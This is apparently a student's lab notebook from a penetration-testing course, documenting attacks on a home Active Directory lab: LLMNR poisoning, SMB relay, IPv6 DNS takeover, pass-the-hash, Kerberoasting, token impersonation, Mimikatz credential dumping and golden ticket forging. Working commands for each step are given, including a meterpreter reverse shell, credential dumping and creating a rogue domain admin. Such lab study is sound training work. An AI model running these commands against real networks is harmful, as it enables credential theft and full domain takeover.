Active Directory Attack SImulation Lab

This lab is based on TCM Security PEH course

General Environment Overview

This environment is built around an Arsenal theme. All IPs can be set to be static as internet connection is not needed here. The setup includes four active machines, which are as follows :

  1. Kali Linux - 192.168.111.128

  2. ARSENAL-DC aka Domain Controller (Windows Server 2022) - 192.168.111.131

  3. FIRSTXI (Windows 10) - 192.168.111.132

  4. RESERVE (Windows 10) - 192.168.111.133

There are several users associated with each machine

  1. ARSENAL-DC (Arteta, SQL Service)

  2. FIRSTXI (Odegaard)

  3. RESERVE (Kiwior, Odegaard)

Arteta and SQL Service are domain admins. Odegaard and Kiwior are regular domain users, Odegaard is the local admin on FIRSXI and RESERVE while Kiwior is the local admin on RESERVE machine only.

Attack Simulation

LLMNR Poisoning

LLMNR stands for Link Local Multicast Name Resolution. It is actually a successor to Netbios's NBT-NS which is an old protocol for name resolution if the DNS servers in the network cannot provide suitable names. When a host’s DNS query fails (i.e., the DNS server doesn’t know the name), the host broadcasts an LLMNR request on the local network to see if any other host can answer.

In the diagram above, the victim asks for \\hackme share drive but there is a typo there, therefore DNS cannot resolve it to the correct drive. So when the victim sends a broadcast asking for the drive, the Responder tool will actually responds to the broadcast message. The thing is, LLMNR has no authentication mechanism so anyone can reply to the broadcast message. This is the weakness that LLMNR poisoning exploits.

Responder.conf

HTTP and SMB need to be turned on first for this to work. Run the command below for Responder to be at standby mode in case there is an event.

sudo responder -I eth0 -dPv

Now we have to intentionally make a request to connect to a share drive but with a typo. Type \\hackme on the bar and a small window will pop up. Ignore the Access is denied message

Go to Responder and we can see the hashes captured by Responder. As you can see in the results, there will be several hashes captured by responder and they will differ. This is because the hashes belong to NetNTLMv2. This protocol uses the challenge-response mechanism, which can produce different hashes for the same password based on the challenge value provided during authentication.

With that being said, you can put each of the hash into different file and attempt to crack them, you will get the same password which is Password1 which is Odegaard's. Just take the entire hash from "Odegaard" to the end.

Odegaard's hash captured

Some thought here :- if a user on the domain trying to access a non-existent share on the domain, there will be a window popping out like below because responder is not there to respond to the query (responder turned off). Firstly the requestor will query local DNS server asking for the share but it doesn't have it so the requestor sends out LLMNR broadcast but no one replies because the share isn't nowhere and responder is turned off.

But, if responder is up and running, when a user tries to connect to a non-existent share, responder will be able to respond to the query and grab the hash of the requestor. An authentication window will pop up like below as responder responds to the broadcast.

Responder responding

For one last time, I tested if the victim makes a request to access an existent share, would we be able to intercept the hash ? The answer is yes it works.. somehow.

Hash Cracking

hashcat -m 5600 hash1.txt /usr/share/wordlists/rockyou.txt

Module 5600 is for NetNTLMv2. Recommended to do hash cracking not on a vm, do on metal instead where Kali is the main OS because when doing hash cracking on a vm, GPU is not utilized. We need GPU to make the password cracking faster.

SMB Relay Attack

Quick overview of the basics. SMB is short for Server Message Block protocol that enables hosts on the same network to share files, printers, and resources seamlessly. It supports client-server communication, user authentication, and secure access.

How SMB is Exploited ?

When user seeks to access a shared resource, the user will undergo authentication. We seek to hijack this authentication and relay the credentials to other machines inside the network. When SMB signing is disabled (enabled but not required), the messages between client and server are not protected by cryptographic protection. This makes it susceptible to interception.

This is how SMB relay works. We set up responder with SMB and HTTP options off so that the we would be able to relay the hash. Set up ntlmrelayx to relay the hashes to other machines specified in the txt file.

  1. Firstly, sweep the network to identify our targets (the one we are intercepting hashes from and the one being relayed to, authenticated against). The one with "Message signing enabled but not required" are our targets which in this case are FIRSTXI and RESERVE machines

sudo nmap --script=smb2-security-mode.nse -p445 192.168.111.128/29 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-01 21:55 EST
Nmap scan report for 192.168.111.128
Host is up (0.00026s latency).

PORT    STATE  SERVICE
445/tcp closed microsoft-ds

Nmap scan report for 192.168.111.131
Host is up (0.00054s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:2D:8A:D1 (VMware)

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Nmap scan report for 192.168.111.132
Host is up (0.00088s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:D1:38:7D (VMware)

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Nmap scan report for 192.168.111.133
Host is up (0.00059s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:D3:9D:9B (VMware)

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Nmap done: 8 IP addresses (4 hosts up) scanned in 1.79 seconds
  1. Put the target IPs in a txt file

  2. Switch off SMB and HTTP in /etc/responder/Responder.conf. Start ntlmrelayx and then responder

ntlmrelayx.py -tf targets.txt -smb2support
  1. Now, wait for an LLMNR event to happen (like acessing a non-existent share). Because HTTP and SMB is turned off, the hashes will be given to ntlmrelayx

In the image below, the hashes will be used against FIRSTXI first, which failed because it cannot authenticate against itself, and then will authenticate against RESERVE which succeeded because Odegaard is a user & admin on the machine. Thus, hashes are dumped out.

To get a shell after successfull authentication, append -i to the ntlmrelayx command

SMB Relay Attack Defenses

  • Enable SMB Signing on all devices

  • Disable NTLM authentication method

Gaining Shell Access

There are other some options :

  1. Metasploit using Psexec module. This gets picked up often.

  2. Psexec.py tool

Option 1 Metasploit (password)

This just uses SMB with credentials to get a shell on the machine. Defender must be turned off or else it will get picked up.

  1. search psexec on metasploit

  2. use the windows/smb/psexec

  3. set payload to windows/x64/meterpreter/reverse_tcp because we are attacking 64 bit arch

  4. set smbuser (Odegaard), smbpass (Odegaard login pass), and smbdomain (ARSENAL.local) and rhosts

Option 2 Metasploit (hash)

unset the smbdomain and take the NT and LM part of the admin hash. Even we got the hash from Baal machine through SMB relay attack, the users on the machines have the same password thus same hash

Option 3 PSEXEC

psexec.py ARSENAL/Odegaard:"Password1"@192.168.111.132
psexec.py Odegaard@192.168.111.132 -hashes <hash>
Password
Hash

other alternatives are smbexec.py and wmiexec.py

IPv6 DNS Takeover Attack

We have to understand how DHCPv6 works at the low-level first. In the below diagram, things like Solicit and Advertise are the terms used in DHCPv6 protocol.

mitm6 will imitate a DHCP server and sends out Router Advertisement (RA) and the victim wil send out Solicit to locate DHCP server. mitm6 will send out Advertise to tell that it can provide the services of a DHCPv6 server. Victim then will reply with a Request message to retrieve the IPv6 address and other configs to which mitm6 will then reply with the actual IPv6 address and the configs needed by the victim. Next, take a look at WPAD diagram below where an attacker serves as the proxy between the user and internet.

Now, Web Proxy Auto-Discovery (WPAD) is to ensure that all devices in the network use the same device as web proxy in order to use an application outside the network (internet). In our case, attacker machine acts as the DNS server so the attacker can host a fake WPAD server. Firstly, the victim wants to request the website http://mysite.com which will send a DNS request to the DNS server (attacker machine) using this request http://wpad.mysite.com/wpad.dat. Attacker will send the address of the website, functioning as a real DNS server. Next, victim asks for the PAC file (wpad.dat) for the URL of the web proxy. The attacker then sends the PAC file, setting itself as the proxy server. Once connected, the attacker will send a HTTP response looking for authentication from the victim's side. Then the victim will send the challenge and response to the proxy (attacker) which then will be relayed to LDAPS server.

  1. Start ntlmrelayx with the command below

ntlmrelayx -6 -t ldaps://<Domain Controller ip> -wh fakewpad.HELL.local -l lootme

The first box shows the attacker machine serves PAC file to the FIRSTXI machine as it requested. The second box shows the credentials getting authenticated against the LDAPS server. And then it dumps the domain information to the directory.

  1. Start mitm6

sudo mitm6 -d HELL.local

The first box shows the configs provided by mitm6, acting as a DHCPv6 server. The second box is when I reboot the FIRSTXI machine and mitm6 is seen providing ipv6 configs to FIRSTXI. It also sent a reply for the WPAD request.

The concept is, mitm6 will set the attacker as the primary DNS server. This will make the attacker receive any queries from the clients' side. Since we are acting as the DNS server, we can host a fake WPAD for the victim which the victim will send a request for the PAC file and an authentication will accur which credential is asked. From this, ntlmrelayx comes in to relay the credentials to LDAP server. So right now we wait for an event to occur, for instance the FIRSTXI machine reboots and then mitm6 will provide the IPv6 settings because FIRSTXI will request for it. Then, FIRSTXI will go through the WPAD process and ntlmrelayx will relay the credentials to LDAPS on the DC which will succeed like the images above. Our lootings (domain information) can be seen in the lootme folder.

Passback Attack

Post-compromise Enumeration

ldapdomaindump

sudo ldapdomaindump ldaps://192.168.111.131 -u "ARSENAL\Odegaard" -p Password1

Bloodhound

sudo apt install bloodhound
sudo neo4j console

After neo4j starts, take the link and change the password for your neo4j account

sudo bloodhound //a GUI will appear
bloodhound-python -d ARSENAL.local -u Odegaard -p Password1 -ns <DC IP address> -c all

After running the command, all dumped json files will be stored in the directory i made just now. Upload the files to the Bloodhound GUI. Upload all the files into the GUI.

Plumhound

Please note that Plumhound will use the information gotten from Bloodhound so start up neo4j console and Bloodhound before using Plumhound

sudo git clone https://github.com/PlumHound/PlumHound.git
source ~/PlumHound/venv/bin/activate
sudo ~/PlumHound/venv/bin/python PlumHound.py --easy -p 12345

The command above is just to make sure PlumHound is working perfectly

sudo ~/PlumHound/venv/bin/python PlumHound.py -x tasks/default.tasks -p 12345

The reports are stored in reports directory. open up index.html in the reports directory. Below image shows one page of many pages generated by PlumHound.

PingCastle

Download PingCastle on a Windows machine that is domain joined. Can be run remotely also. Run the application and go from there. It will generate reports based on our selection.

Post-Compromise Attacks

Pass Attacks

Now let's say we have successfully cracked a password and we wanna try it on other machines. We can use crackmapexec

crackmapexec smb 192.168.111.128/26 -u Odegaard -d ARSENAL.local -p Password1

We have pwned the RESERVE and FIRSTXI machines because Odegaard is the local admin there (We added domain user Odegaard to the local admin group). Odegaard is not the local admin in ARSENAL-DC, thus not pwned.

Below command is the scenario where we haven't cracked the hash. It still can be passed around.

crackmapexec smb 192.168.111.128/26 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth

See that we have RESERVE and FIRSTXI pwned because Odegaard is the local admin in both machines.

Two images below showcases crackmapexec extensive capabilities.

--local-auth-sam
--local-auth-shares

Below command is to list all modules related to SMB. Take a look at lsassy.

crackmapexec smb -L 

crackmapexec smb 192.168.111.128/26 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth -M lsassy

cmedb command is used to access the database. use help command to list all the possible actions. You can see HELL.local below, that's just my previous domain i've built.

Dumping and Cracking Hashes

Secretsdump.py with password

secretsdump.py ARSENAL.local/Odegaard:"Password1"@192.168.111.132

This is the usage of secretsdump.py with password. There we can grab the hashes of the users and the domain admin and many other more. There is a thing called wdigest (patched and disabled) but fi we can turn it on during a pentest, we cna capture cleartext password if someone logs in.

Make sure to test on every account as we can retrieve additional info such as another user hash on the RESERVE machine

Let's say i use secretsdump with a low privilege user (martinodegaard), I would not be able to dump the hashes because martinodegaard is not an admin unlike Odegaard who is a domain user and also the local admin on FIRSTXI and RESERVE machines.

Secretsdump.py with hash

secretsdump.py Administrator:@192.168.111.132 -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f

Kerberoasting

GetUserSPNs.py will grab the service account's hash as KDC (DC) will send the TGS.

Use hashcat to crack the hash in the above image. Cracking will be faster on bare metal machine. 13100 specifies the mode for Kerberos 5 TGS-REP. The krb.txt contains the hash we retrieved from GetUserSPNs.py

hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt

The password we will get is MYpassword123, as we set earlier when creating the SQL Service account. At this point, we have compromised SQL Service (domain admin). Service accounts are commonly domain admins as they have the same privilege as the Domain Administrator (the user Administrator).

Token Impersonation

msfconsole
search psexec
exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
options (SET RHOSTS, SMBUSER, SMBPASSWORD, SMBDOMAIN)
run

set the options using the IP address of the FIRSTX1 machine, username and password of Odegaard:Password1. SMBDOMAIN would be ARSENAL.local

load incognito
list_tokens -u

Remember we are in FIRSTXI machine rn, so the list_tokens command will list all the users' delegate token available on the machine. So, if the domain admin logs in to this machine, we would have access to the domain admin delegate token and be able to impersonate as the domain admin. Let's try. First, log in to the FIRSTXI machine using ARSENAL\Administrator. After that, use rev2self to get back to the nt authority system acc (i impersonate the Odegaard previously). use list_token -u command and you will see Administrator delegate token there for you to impersonate.

Done for impersonation part. As we are the domain admin now, we can establish a new user using these commands and add him into the domain admins group.

net user /add Saliba Password1@ /domain
net group "Domain Admins" Saliba /ADD /DOMAIN

As a POC, run secretsdump using Saliba account into DC and remember, we should not be able to run secretsdump against the DC unless we are the domain admin, luckily Saliba are !

python3 /usr/local/bin/secretsdump.py ARSENAL/Saliba:"Password1@"@192.168.111.131

For some reason, i had to specify the working directory of the script, it works perfectly to dump all the Domain Controller secrets :) Remember, only domain admins & local admins can dump the hashes.

LNK File Attack

Change the IP address of the below commands to the attacker machine. Open up any windows machine (I used FIRSTXI machine) with elevated powershell and then copy and paste the commands line by line. Move the test.png file in C drive into the hackme share drive

$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\test.lnk")
$lnk.TargetPath = "\\192.168.138.149\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()

Run responder and then access the hackme share drive using the FIRSTXI machine by simply opening it on the machine.

Hash captured

This is an attack convenient to run if we wanna test our luck to see if any high value targets are accessing the share drive so we will be able to capture the hash.

Let's say we wanna upload a file onto the share drive without having to access the machine, we can use netexec command

netexec smb 192.168.111.132 -d ARSENAL.local -u Odegaard -p Password1 -M slinky -o NAME=test SERVER=192.168.111.128

Actually in the command result, we would not be able to see the hackme file share exposed because it is not configured to be exposed at the time of doing this lab.

GPP Attacks / cPassword Attacks

This is an old attack but still relevant these days. Even it is patched, we can still search for

use smb_enum_gpp in metasploit and provide the username, password and domain. this will acess the SYSVOL of the DC. It's going to look for the groups.xml files and then it's gonna look for the cPassword and decrypt it.

Mimikatz

For some reason Heath tells us to download the files below on Kali and transfer it to the FIRSTXI machine. Next, run cmd as elevated privilege and go to the Downloads dir and run mimikatz.exe.

Run the command below to access all the features of mimikatz

privilege::debug
sekurlsa::logonpasswords

Below screenshot is one of the results that came out that secretsdump doesn't provide us. We can see the password of the domain admin because we previosly connected to the hackme file share using admin's creds. It is stored in the credman

Post Compromise Attack Strategy

Post DC Compromise

Strategy

Dumping the NTDS.dit

python3 /usr/local/bin/secretsdump.py ARSENAL.local/Saliba:"Password1@"@192.168.111.131 -just-dc-ntlm

I used the Saliba user we created when trying to do the POC of creating a new domain admin after impersonating administrator.

hashes dumped

Golden Ticket Attacks

  • When we compromised krbtgt account, we own the domain.

  • We can request access to any services and machines in the domain

  • We're gonna generate golden tickets

Firstly, start up mimikatz on the DC and use the command

privilege::debug
lsadump::lsa /inject /name:krbtgt

Grab the SID of the domain and the NTLM hash (of the krbtgt acc)

kerberos::golden /user:krbtgt /domain:ARSENAL.local /sid:S-1-5-21-1466467856-1544788845-1558011900 /krbtgt:79ed9b0e8cf487cb512710f6a7b50294 /id:500 /ptt

Put the sid and hash into the above command.

Successfull

Download psexec and try access FIRSTXI machine from the admin CLI.

PsExec.exe \\FIRSTXI cmd.exe
use psexec to access FIRSTXI using the golden ticket

Additional AD Attacks

  • Always check for recent vulnerabilities. Use like ZeroLogon checker, PrintNightmare checker tools on github.

References

Last updated

Was this helpful?